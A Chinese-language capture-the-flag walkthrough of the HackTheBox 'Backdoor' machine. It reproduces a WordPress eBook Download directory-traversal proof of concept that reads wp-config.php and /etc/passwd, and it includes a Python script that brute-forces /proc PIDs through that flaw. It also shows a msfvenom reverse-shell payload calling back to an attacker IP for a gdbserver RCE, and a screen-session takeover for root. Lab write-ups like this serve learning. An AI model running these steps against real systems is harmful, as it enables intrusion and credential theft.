Backdoor
Enumeration
nmap
第一次扫描发现系统对外开放了22,80和1337端口,端口详细信息如下
22端口对应的是ssh服务,80端口使用Apache,title上写着backdoor,而且可以看出使用了wordpress,1337端口暂时还不能确定
TCP/80
访问页面,经典的wordpress风格,一访问页面就可以看到页面四个链接,分别是home,about,blog,contact,点击home跳转失败,显示无法识别域名backdoor.htb,需要将其添加到/etc/hosts中。剩下三个也只能看到一些基础信息,没什么好玩的
配置完成能够解析域名后,访问该链接,但是并没有发现什么可以利用的东西
可以尝试枚举一些目录,wordpress默认的插件安装目录是/wp-content/plugins
可以看到默认的index.php目录已经被删除,可以看到该目录下只有一个电子书下载的插件和一个hello.php,在电子书下载插件目录中,有一个readme文档,其中揭露了插件的版本为1.1
Exploitation
WordPress Plugin eBook Download 1.1 - Directory Traversal
在知道了一些基本信息后,可以搜索相关内容看看是否存在已知的漏洞,可以直接拿来利用
该目录遍历漏洞详情如下,可以看到我们需要能够访问filedownload.php文件,而在wp-content目录下确实有这个php文件,然后利用目录遍历去请求wp-config.php文件,从该文件的名字也能看出来其中包含了很多配置信息
# Exploit Title: Wordpress eBook Download 1.1 | Directory Traversal
# Exploit Author: Wadeek
# Website Author: https://github.com/Wad-Deek
# Software Link: https://downloads.wordpress.org/plugin/ebook-download.zip
# Version: 1.1
# Tested on: Xampp on Windows7[Version Disclosure]
======================================
http://localhost/wordpress/wp-content/plugins/ebook-download/readme.txt
======================================[PoC]
======================================
/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
======================================
按照上文Poc读取指定文件,然后在其中发现了一些有关数据库的凭据信息
有了一个密码,又存在LFI,考虑读取/etc/passwd内容,然后看某个用户能否使用数据库密码登录,有一个user用户,但是并不能成功登录ssh
/proc/{PID}/cmdline
在最开始发现系统还对外开放了1337端口,但是这个端口使用curl,ncat,telnet等方式均无法访问,因为存在LFI,可以读取远程主机中关于1337端口对应服务的信息
需要使用暴力破解/proc/{pid}/cmdline文件的方式来实现,在linux中,该文件用于显示运行对应PID进程时的命令,可以先运行一个tcpdump程序,使用ps -aux | grep tcpdump命令来查看相应程序的pid,最后查看/proc/{pid}/cmdline文件,现实的就是运行tcpdump的命令
运行tcpdump程序后查看相应程序的pid
将获取到的pid填入对应位置,查看15806,得到结果如下,显示了执行时的命令
Brute Force PID
现在,我们可以尝试利用burpsuite的暴力破解来看看1337端口到底在运行什么服务,通过简单测试,发现可行,那么只需要将请求包发送给intruder,然后检索1-1000的内容
也可以写python脚本来爆破,写一个pid的循环,然后请求url,最后打印输出
import requests
from bs4 import BeautifulSoupfor i in range(1,1000):url = "http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/"+str(i)+"/cmdline"req = requests.get(url)print(req.text.replace('<script>window.close()</script>',''))
经过漫长的暴力破解,最终在pid为852的进程中看到了1337端口,运行着gdbserver
GDB是GNU项目的调试器,是一种调试工具,gdbserver是可以远程运行GDB的一个应用程序,搜索发现gdbserver 9.2版本存在rce漏洞
GNU gdbserver 9.2 - Remote Command Execution (RCE)
虽然暂时无法确定目标系统使用的版本,但是值得一试
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=4444 PrependFork=true -orev.bin
在本地监听4444端口,然后执行指令即可得到shell
Privilege Escalation
之前得到的密码也没起到什么作用,但是之前在爆破pid时还发现pid为850的进程是root运行的,可以看看是什么
screen是一个类似于tmux的终端多路复用器,可用于启动会话,然后在该会话内打开任意数量的虚拟终端,即使窗口不可见或者断开链接,在screen中运行的进程也将继续运行,会话分离时,最初从屏幕启动的进程仍在运行并由本身管理。
screen -dmS root意味着screen会话以分离模式启动,该会话被命名为“root”,,当创建新的屏幕会话时,会在/var/run/screen位置创建一个新目录,名称为s-{username},在此目录中使用屏幕会话名称创建屏幕会话文件,可以使用用户dotguy在本地创建一个屏幕会话,名称为test_session
用于附加到为不同用户创建的屏幕会话的默认屏幕语法是screen -x user/session_name
但是提示需要添加终端类型,可以输入以下指令
export TERM=xterm
screen -x root/root